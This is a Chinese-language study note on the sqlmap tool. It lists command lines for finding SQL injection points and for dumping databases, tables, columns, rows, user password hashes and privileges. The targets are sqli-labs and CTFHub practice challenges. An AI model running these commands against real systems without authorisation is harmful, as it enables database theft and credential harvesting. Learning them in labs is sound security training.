接上一篇学习2
6.sqlmap
(1)目标
1>指定url
检测注入点前需要指定检测对象
-u 指定需要检查的url,用单/双引号包裹
sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1'
注:sqlmap只能验证和利用注入点,不能扫描漏洞
2>批量检测
-m 指定文件,可以批量扫描文件中的url(文件中需写上多个待检测的url,一个一行)
sqlmap -m urls.txt
3>指定数据库,表,字段
-D 指定数据库
-T 指定表
-C 指定字段
都需要用单/双引号包裹,常配合其他参数使用
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username' --dump
4>post请求
-r 指定需要检测的文件,通过post的请求方式检测目标
sqlmap -r 1.txt
注:检测post注入点可使用bp抓包,将http请求内容保存至txt文件中
5>cookie注入
--cookkie 指定cookie的值,用单/双引号包裹
sqlmap -u "http://xx?id=x" --cookie 'cookie'
(2)脱库
-a 获取所有内容(耗费时间长)
sqlmap -u 'http://xx/?id=1' -a
1>获取数据库
版本
sqlmap -u 'http://xx/?id=1' -b
当前使用数据库名
sqlmap -u 'http://xx/?id=1' --current-db
获取所有数据库名
sqlmap -u 'http://xx/?id=1' --dbs
2>获取表
指定数据库获取表
sqlmap -u 'http://xx/?id=1' -D 'security' --tables
同时获取多个库表名,库名间用逗号隔开
sqlmap -u 'http://xx/?id=1' -D 'security,sys' --tables
获取数据库中所有表
sqlmap -u 'http://xx/?id=1' --tables
3>获取字段
指定数据库和表
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --columns
注:只指定库不指定表会报错
获取当前数据库所有表的字段
sqlmap -u 'http://xx/?id=1' --columns
4>获取字段类型
--schema 获取字段类型,可指定库或表,不指定默认为数据库中所有字段类型
sqlmap -u 'http://xx/?id=1' -D 'security' --schema
5>获取数据
指定库,表,字段
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username,password' --dump
获取指定库中所有表的数据
sqlmap -u 'http://xx/?id=1' -D 'security' --dump
可用--start --stop 指定开始和结束的行
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --start 1 --stop 5 --dump
6>获取用户
获取当前登录数据库用户
sqlmap -u 'http://xx/?id=1' --current-user
获取所有用户
sqlmap -u 'http://xx/?id=1' --users
获取用户密码
sqlmap -u 'http://xx/?id=1' --password
注:只能查出哈希值
获取用户权限
sqlmap -u 'http://xx/?id=1' --privileges
判断当前用户是否为管理员(返回true)
sqlmap -u 'http://xx/?id=1' --is-dba
7>获取主机名
sqlmap -u 'http://xx/?id=1' --hostname
8>搜索库,表,字段
搜索数据库中是否存在指定库,表,字段,需指定
sqlmap -u 'http://xx/?id=1' -D '指定库名' --search
sqlmap -u 'http://xxx/?id=1' -T '指定表名' --search
sqlmap -u 'http://xx/?id=1' -C '指定字段' --search
9>正在执行的sql语句
sqlmap -u 'http://xx/?id=1' --statements
步骤
1.获取当前数据库
2.查表
3.查字段
4.查数据
练习
ctfhub技能树整数型注入
判断为数字型注入
查找数据库名,sqli
可知有两个表,flag和news
表flag中只有一个字段flag
查找表中数据可得flag
ctfhub技能树字符型注入
判断知是单引号注入 ,用查找数据库
得知库名为sqli
得知有flag和news两个表
有flag一个字段
查找数据可得flag